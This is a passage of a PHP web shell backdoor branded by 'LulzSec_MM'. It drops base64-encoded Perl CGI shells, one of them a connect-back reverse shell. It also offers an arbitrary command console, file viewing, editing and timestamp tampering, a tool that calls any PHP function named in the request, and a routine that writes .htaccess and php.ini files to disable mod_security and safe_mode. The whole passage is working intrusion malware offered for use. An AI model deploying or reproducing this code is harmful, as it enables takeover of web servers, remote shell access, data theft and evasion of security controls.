1945XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
1946YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
1947CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
1948Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
1949UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
1950aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
1951bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
1952CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
1953LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1954LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
1955d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
1956aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
1957LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
1958LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1959LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
1960cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
1961DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
1962cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
1963DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
1964c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
1965bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
1966YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
1967bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
1968Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
1969aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
1970aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
1971dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
1972bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
1973YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
1974cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
1975CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
1976aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
1977cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
1978bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
1979LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1980LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
1981IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
1982IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
1983ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
1984ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
1985Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1986LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
1987ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
1988ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
1989ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
1990IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
1991aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
1992ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
1993JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
1994ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
1995PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
1996Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
1997CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
1998dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
1999Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2000LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
2001IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2002LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
2003CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
2004SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
2005c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
2006ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
2007Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
2008ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
2009bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
2010cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
2011ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
2012b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
2013b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
2014dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
2015ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
2016bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
2017bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
2018b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
2019 $file = fopen("izo.cin", "w+");
2020 $write = fwrite($file, base64_decode($cgishellizocin));
2021 fclose($file);
2022 chmod("izo.cin", 0755);
2023 $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
2024MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
2025ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
2026MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
2027ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
2028MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
2029Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
2030KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
2031SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
2032ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
2033UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
2034VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
2035ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
2036JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
2037bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
2038ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
2039YXRhY2hlZFxuXG4iOw==';
2040 $file = fopen("dc.pl", "w+");
2041 $write = fwrite($file, base64_decode($netcatshell));
2042 fclose($file);
2043 chmod("dc.pl", 0755);
2044 echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
2045 echo '</div>';
2046 printFooter();
2047 }
2048
2049function actionStringTools() {
2050 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
2051 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
2052 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
2053 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
2054 if(isset($_POST['ajax'])) {
2055 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2056 ob_start();
2057 if(function_exists($_POST['p1']))
2058 echo $_POST['p1']($_POST['p2']);
2059 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
2060 echo strlen($temp), "\n", $temp;
2061 exit;
2062 }
2063 printHeader();
2064 echo '<h1>String conversions</h1><div class=content>';
2065 $stringTools = array(
2066 'Base64 encode' => 'base64_encode',
2067 'Base64 decode' => 'base64_decode',
2068 'Url encode' => 'urlencode',
2069 'Url decode' => 'urldecode',
2070 'Full urlencode' => 'full_urlencode',
2071 'md5 hash' => 'md5',
2072 'sha1 hash' => 'sha1',
2073 'crypt' => 'crypt',
2074 'CRC32' => 'crc32',
2075 'ASCII to HEX' => 'ascii2hex',
2076 'HEX to ASCII' => 'hex2ascii',
2077 'HEX to DEC' => 'hexdec',
2078 'HEX to BIN' => 'hex2bin',
2079 'DEC to HEX' => 'dechex',
2080 'DEC to BIN' => 'decbin',
2081 'BIN to HEX' => 'bin2hex',
2082 'BIN to DEC' => 'bindec',
2083 'String to lower case' => 'strtolower',
2084 'String to upper case' => 'strtoupper',
2085 'Htmlspecialchars' => 'htmlspecialchars',
2086 'String length' => 'strlen',
2087 );
2088 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2089 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2090 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
2091 foreach($stringTools as $k => $v)
2092 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
2093 echo "</select><input type='submit' value='Submit'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
2094 if(!empty($_POST['p1'])) {
2095 if(function_exists($_POST['p1']))
2096 echo htmlspecialchars($_POST['p1']($_POST['p2']));
2097 }
2098 echo"</pre></div>";
2099 printFooter();
2100}
2101function actionFilesTools() {
2102 if( isset($_POST['p1']) )
2103 $_POST['p1'] = urldecode($_POST['p1']);
2104 if(@$_POST['p2']=='download') {
2105 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
2106 ob_start("ob_gzhandler", 4096);
2107 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
2108 if (function_exists("mime_content_type")) {
2109 $type = @mime_content_type($_POST['p1']);
2110 header("Content-Type: ".$type);
2111 }
2112 $fp = @fopen($_POST['p1'], "r");
2113 if($fp) {
2114 while(!@feof($fp))
2115 echo @fread($fp, 1024);
2116 fclose($fp);
2117 }
2118 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
2119 }
2120 exit;
2121 }
2122 if( @$_POST['p2'] == 'mkfile' ) {
2123 if(!file_exists($_POST['p1'])) {
2124 $fp = @fopen($_POST['p1'], 'w');
2125 if($fp) {
2126 $_POST['p2'] = "edit";
2127 fclose($fp);
2128 }
2129 }
2130 }
2131 printHeader();
2132 echo '<h1>File tools</h1><div class=content>';
2133 if( !file_exists(@$_POST['p1']) ) {
2134 echo 'File not exists';
2135 printFooter();
2136 return;
2137 }
2138 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
2139 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
2140 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
2141 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
2142 if( empty($_POST['p2']) )
2143 $_POST['p2'] = 'view';
2144 if( is_file($_POST['p1']) )
2145 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
2146 else
2147 $m = array('Chmod', 'Rename', 'Touch');
2148 foreach($m as $v)
2149 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
2150 echo '<br><br>';
2151 switch($_POST['p2']) {
2152 case 'view':
2153 echo '<pre class=ml1>';
2154 $fp = @fopen($_POST['p1'], 'r');
2155 if($fp) {
2156 while( !@feof($fp) )
2157 echo htmlspecialchars(@fread($fp, 1024));
2158 @fclose($fp);
2159 }
2160 echo '</pre>';
2161 break;
2162 case 'highlight':
2163 if( is_readable($_POST['p1']) ) {
2164 echo '<div class=ml1 style="background-color: #000;color:black;">';
2165 $code = highlight_file($_POST['p1'],true);
2166 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
2167 }
2168 break;
2169 case 'chmod':
2170 if( !empty($_POST['p3']) ) {
2171 $perms = 0;
2172 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
2173 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
2174 if(!@chmod($_POST['p1'], $perms))
2175 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
2176 else
2177 die('<script>g(null,null,null,null,"")</script>');
2178 }
2179 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="Submit"></form>';
2180 break;
2181 case 'edit':
2182 if( !is_writable($_POST['p1'])) {
2183 echo 'File isn\'t writeable';
2184 break;
2185 }
2186 if( !empty($_POST['p3']) ) {
2187 @file_put_contents($_POST['p1'],$_POST['p3']);
2188 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
2189 }
2190 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
2191 $fp = @fopen($_POST['p1'], 'r');
2192 if($fp) {
2193 while( !@feof($fp) )
2194 echo htmlspecialchars(@fread($fp, 1024));
2195 @fclose($fp);
2196 }
2197 echo '</textarea><input type=submit value="Submit"></form>';
2198 break;
2199 case 'hexdump':
2200 $c = @file_get_contents($_POST['p1']);
2201 $n = 0;
2202 $h = array('00000000<br>','','');
2203 $len = strlen($c);
2204 for ($i=0; $i<$len; ++$i) {
2205 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
2206 switch ( ord($c[$i]) ) {
2207 case 0: $h[2] .= ' '; break;
2208 case 9: $h[2] .= ' '; break;
2209 case 10: $h[2] .= ' '; break;
2210 case 13: $h[2] .= ' '; break;
2211 default: $h[2] .= $c[$i]; break;
2212 }
2213 $n++;
2214 if ($n == 32) {
2215 $n = 0;
2216 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
2217 $h[1] .= '<br>';
2218 $h[2] .= "\n";
2219 }
2220 }
2221 echo '<table cellspacing=1 cellpadding=5 bgcolor=#000><tr><td bgcolor=#000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#000><pre>'.$h[1].'</pre></td><td bgcolor=#000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
2222 break;
2223 case 'rename':
2224 if( !empty($_POST['p3']) ) {
2225 if(!@rename($_POST['p1'], $_POST['p3']))
2226 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
2227 else
2228 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
2229 }
2230 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="Submit"></form>';
2231 break;
2232 case 'touch':
2233 if( !empty($_POST['p3']) ) {
2234 $time = strtotime($_POST['p3']);
2235 if($time) {
2236 if(@touch($_POST['p1'],$time,$time))
2237 die('<script>g(null,null,null,null,"")</script>');
2238 else {
2239 echo 'Fail!<script>document.mf.p3.value="";</script>';
2240 }
2241 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
2242 }
2243 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="Submit"></form>';
2244 break;
2245 case 'mkfile':
2246 break;
2247 }
2248 echo '</div>';
2249 printFooter();
2250}
2251function actionConsole() {
2252 if(isset($_POST['ajax'])) {
2253 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2254 ob_start();
2255 echo "document.cf.cmd.value='';\n";
2256 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
2257 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
2258 if(@chdir($match[1])) {
2259 $GLOBALS['cwd'] = @getcwd();
2260 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
2261 }
2262 }
2263 echo "document.cf.output.value+='".$temp."';";
2264 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
2265 $temp = ob_get_clean();
2266 echo strlen($temp), "\n", $temp;
2267 exit;
2268 }
2269 printHeader();
2270echo '<script>
2271if(window.Event) window.captureEvents(Event.KEYDOWN);
2272var cmds = new Array("");
2273var cur = 0;
2274function kp(e) {
2275 var n = (window.Event) ? e.which : e.keyCode;
2276 if(n == 38) {
2277 cur--;
2278 if(cur>=0)
2279 document.cf.cmd.value = cmds[cur];
2280 else
2281 cur++;
2282 } else if(n == 40) {
2283 cur++;
2284 if(cur < cmds.length)
2285 document.cf.cmd.value = cmds[cur];
2286 else
2287 cur--;
2288 }
2289}
2290function add(cmd) {
2291 cmds.pop();
2292 cmds.push(cmd);
2293 cmds.push("");
2294 cur = cmds.length-1;
2295}
2296</script>';
2297 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
2298 foreach($GLOBALS['aliases'] as
2299 $n => $v) {
2300 if($v == '') {
2301 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
2302 continue;
2303 }
2304 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
2305 }
2306 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2307 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2308 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value="Submit"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
2309 if(!empty($_POST['p1'])) {
2310 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
2311 }
2312 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
2313 echo '</form></div><script>document.cf.cmd.focus();</script>';
2314 printFooter();
2315}
2316function actionLogout() {
2317 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
2318 echo '<body bgcolor=#000000><center><img src="http://i.imgur.com/zBtApYV.png"><h1><font color="#C3C3C3"> See You, Bro <br><h2><font size="4">Jumping CycleR By MEA <p><h2> LulzSec_MM <br><h2><font color="#C3C3C3">Bye Bye <font color="#fff">á€á€¬á€·á€á€¬á€±á€”ာ္ </h2><p><font color="BLUE" font size="4">We are :<marquee width="80%"> LulzSec_MM ./buth~double_E </marquee></font></font></font></center></body>';
2319}
2320
2321function actionBypass() {
2322 printHeader();
2323 echo '<h1>Safe Mode</h1>';
2324 echo '<div class="content">';
2325 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
2326 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
2327 if(!empty($_POST['p2']) && isset($_POST['p2']))
2328 {
2329 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
2330 fwrite($fil,'<IfModule mod_security.c>
2331 Sec------Engine Off
2332 Sec------ScanPOST Off
2333 </IfModule>');
2334 fclose($fil);
2335 }
2336 if(!empty($_POST['p1'])&& isset($_POST['p1']))
2337 {
2338 $fil=fopen($GLOBALS['cwd']."php.ini","w");
2339 fwrite($fil,'safe_mode=OFF
2340 disable_functions=NONE');
2341 fclose($fil);
2342 }
2343 if(!empty($_POST['p3']) && isset($_POST['p3']))
2344 {
2345 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
2346 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
2347 AddType application/x-httpd-cgi .sh
2348 AddHandler cgi-script .pl
2349 AddHandler cgi-script .pl');
2350 fclose($fil);
2351 }
2352 echo "<br><br /><br /></div>";
2353 echo '</div>';
2354 printFooter();
2355}
2356
2357function actionSql() {
2358 class DbClass {
2359 var $type;
2360 var $link;
2361 var $res;
2362 function DbClass($type) {
2363 $this->type = $type;
2364 }
2365 function connect($host, $user, $pass, $dbname){
2366 switch($this->type) {
2367 case 'mysql':
2368 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
2369 break;
2370 case 'pgsql':
2371 $host = explode(':', $host);
2372 if(!$host[1]) $host[1]=5432;
2373 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
2374 break;
2375 }
2376 return false;
2377 }
2378 function selectdb($db) {
2379 switch($this->type) {
2380 case 'mysql':
2381 if (@mysql_select_db($db))return true;
2382 break;
2383 }
2384 return false;
2385 }
2386 function query($str) {
2387 switch($this->type) {
2388 case 'mysql':
2389 return $this->res = @mysql_query($str);
2390 break;
2391 case 'pgsql':
2392 return $this->res = @pg_query($this->link,$str);
2393 break;
2394 }
2395 return false;
2396 }
2397 function fetch() {
2398 $res = func_num_args()?func_get_arg(0):$this->res;
2399 switch($this->type) {
2400 case 'mysql':
2401 return @mysql_fetch_assoc($res);
2402 break;
2403 case 'pgsql':
2404 return @pg_fetch_assoc($res);
